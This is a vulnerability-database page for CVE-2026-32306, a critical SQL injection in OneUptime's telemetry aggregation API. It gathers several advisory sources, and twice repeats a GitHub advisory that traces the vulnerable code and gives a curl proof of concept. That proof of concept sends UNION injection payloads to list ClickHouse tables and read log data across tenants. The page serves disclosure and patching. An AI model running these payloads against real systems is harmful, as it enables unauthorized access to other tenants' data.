CVE-2026-32306
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.
- Record
CVE-2026-32306- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2026-11719
10.0
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.
- Record
EUVD-2026-11719- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-p5g2-jm85-8g35
9.9
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
Summary
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Details
Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
// Only truthiness check — no allowlist
}
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
// StatementGenerator.ts:527
statement.append(
`${aggregationType}(${aggregateColumnName}) as aggregationResult`
);
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
// Statement.ts:149-151
public append(text: string): Statement {
this.query += text; // Raw concatenation — "trusted SQL"
return this;
}
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
statement.append(
`toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);
Attack flow:
- Authenticated user sends
POST /api/log/aggregate(or/api/span/aggregate,/api/metric/aggregate) - Request body contains
aggregateBy.aggregationTypeset to a SQL injection payload - Payload passes truthiness check at line 276
- Payload is concatenated into SQL via
.append()at line 527 - ClickHouse executes the injected SQL
PoC
# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password123"}' \
| jq -r '.token')
# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type:…
- Record
GHSA-p5g2-jm85-8g35- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
NVD
9.9
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.
- Record
CVE-2026-32306- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
9.9
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.
- Record
CVE-2026-32306- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-p5g2-jm85-8g35
9.9
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
Summary
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Details
Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
// Only truthiness check — no allowlist
}
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
// StatementGenerator.ts:527
statement.append(
`${aggregationType}(${aggregateColumnName}) as aggregationResult`
);
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
// Statement.ts:149-151
public append(text: string): Statement {
this.query += text; // Raw concatenation — "trusted SQL"
return this;
}
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
statement.append(
`toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);
Attack flow:
- Authenticated user sends
POST /api/log/aggregate(or/api/span/aggregate,/api/metric/aggregate) - Request body contains
aggregateBy.aggregationTypeset to a SQL injection payload - Payload passes truthiness check at line 276
- Payload is concatenated into SQL via
.append()at line 527 - ClickHouse executes the injected SQL
PoC
# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password123"}' \
| jq -r '.token')
# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type:…
- Record
GHSA-p5g2-jm85-8g35- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
oneuptimenpm |
before 10.0.23 | 10.0.23 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-32306 is a critical vulnerability (CVSS 10.0) in Hackerbay Oneuptime, published March 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.67%, the 52nd percentile. Fixed in oneuptime 10.0.23.
References
github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35
github.com/OneUptime/oneuptime/releases/tag/10.0.23
nvd.nist.gov/vuln/detail/CVE-2026-32306
github.com/advisories/GHSA-p5g2-jm85-8g35
github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32306.json
github.com/OneUptime/oneuptime
Left out here: the rest of 2 source descriptions. The JSON record has them.